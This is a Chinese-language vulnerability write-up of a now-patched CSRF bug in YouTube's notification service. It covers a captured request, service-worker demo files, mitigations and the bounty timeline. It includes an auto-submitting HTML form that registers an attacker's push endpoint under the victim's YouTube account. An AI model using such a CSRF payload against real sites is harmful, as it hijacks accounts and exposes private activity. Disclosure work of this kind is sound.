挖洞经验 | 利用CSRF漏洞劫持Youtube用户的通知消息
字数 1427 2025-08-18 11:38:28
YouTube通知服务CSRF漏洞分析与利用教学文档
漏洞概述
本漏洞是一个影响YouTube通知服务(Notification)的CSRF(跨站请求伪造)漏洞,攻击者可以利用该漏洞劫持其他YouTube用户的通知服务,以受害者身份接收其订阅频道或视频的最新通知。该漏洞最终获得Google官方$3133.7美金的奖励。
漏洞发现过程
初始发现
-
在YouTube官网测试时发现了一个关键POST请求:
POST /notifications_ajax?action_register_device=1 HTTP/1.1 Host: www.youtube.com ... -
请求中包含以下关键参数:
endpoint: Mozilla通知推送服务URLdevice_id: 设备标识符p256dh_key: 加密公钥auth_key: 认证密钥permission: 权限状态
初步分析
- 表面上看,这些参数都经过编码,似乎有CSRF防护
- 深入分析发现这些参数实际上由Mozilla通知推送服务(
updates.push.services.mozilla.com)生成 - 关键发现:请求的Referer字段指向
https://www.youtube.com/sw.js,这是一个Service Worker脚本
技术背景:Service Worker
基本概念
-
Service Worker是运行在浏览器后台的独立脚本
-
特点:
- 不需要用户打开web页面
- 不需要用户交互
- 异步运行在完全独立的上下文环境
- 不会阻塞主线程
-
主要功能:
- 消息推送
- 离线缓存
- 后台同步API
在漏洞中的作用
sw.js发起了关键的POST请求- 这使得请求与其他具备CSRF防御机制的YouTube请求不同
- 为CSRF攻击提供了可能
漏洞利用步骤
第一步:构建本地测试环境
创建三个关键文件来模拟通知服务:
-
index.html - 用户界面
<!DOCTYPE html> <html> <head> <meta charset="utf-8" meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Push Demo</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" media="screen" href="index.css"> <script src="index.js"></script> </head> <body> <h1>Hello World</h1> <button id="permission-btn" onclick="main()">Ask Permission</button> </body> </html> -
index.js - 主要逻辑
const check = () => { if (!('serviceWorker' in navigator)) { throw new Error('No Service Worker support!') } if (!('PushManager' in window)) { throw new Error('No Push API Support!') } } const registerServiceWorker = async () => { const swRegistration = await navigator.serviceWorker.register('sw.js') return swRegistration } const requestNotificationPermission = async () => { const permission = await window.Notification.requestPermission() if (permission !== 'granted') { throw new Error('Permission not granted for Notification') } } const main = async () => { check() const swRegistration = await registerServiceWorker() const permission = await requestNotificationPermission() } -
sw.js - Service Worker脚本
self.addEventListener('activate', async () => { console.log("Hello") self.registration.pushManager.subscribe() .then(function(subscription) { console.log(JSON.stringify(subscription)) }) .catch(function(e) { console.log(e) }) }) self.addEventListener("push", function(event) { if (event.data) { console.log("Push event!! ", event.data.text()); showLocalNotification("Yolo", event.data.text(), self.registration); } else { console.log("Push event but no data") } }) const showLocalNotification = (title, body, swRegistration) => { const options = { body // 可以添加更多属性如icon, image, vibrate等 }; swRegistration.showNotification(title, options); };
第二步:获取关键参数
- 打开index.html页面
- 点击"Ask Permission"按钮请求通知权限
- 后台调用sw.js脚本
- 通过Firefox API形成本地通知服务端
- 从请求中获取以下关键参数:
device_idendpointp256dh_keyauth_key
第三步:构造CSRF攻击框架
<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">
<input type="text" name="device_id" value="replace">
<input type="text" name="permission" value="granted">
<input type="text" name="endpoint" value="replace">
<input type="text" name="p256dh_key" value="replace">
<input type="text" name="auth_key" value="replace">
<input type="submit">
<script type="text/javascript">
document.csrf.submit();
</script>
</form>
第四步:实施攻击
- 将获取的参数填入CSRF攻击框架
- 以受害者身份提交通知请求
- 成功劫持YouTube账号的消息推送接口(PUSH webhook)
- 可以接收以下类型的通知:
- 订阅频道的更新消息
- 订阅视频的更新消息
- 私人视频的观众评论
漏洞影响
-
攻击者可以:
- 监控受害者的YouTube活动
- 获取受害者订阅的私人信息
- 可能进一步利用这些信息进行其他攻击
-
漏洞严重性:
- 影响用户隐私
- 可能被用于针对性攻击
- 获得Google VRP项目$3133.70美金的奖励
防御措施
-
服务端应:
- 验证请求来源
- 使用CSRF令牌
- 检查Referer头
-
开发者应:
- 谨慎处理Service Worker发起的请求
- 对敏感操作实施额外验证
-
用户应:
- 定期检查账号活动
- 注销不使用的设备
时间线
- 漏洞发现并上报
- 半小时内获得Google初步确认
- 半个月后完成修复
- 获得$3133.70奖金
参考资源
- Mozilla Service Worker文档: developer.mozilla.org
- Google开发者文档: developers.google.com
- 原始漏洞报告: hackademic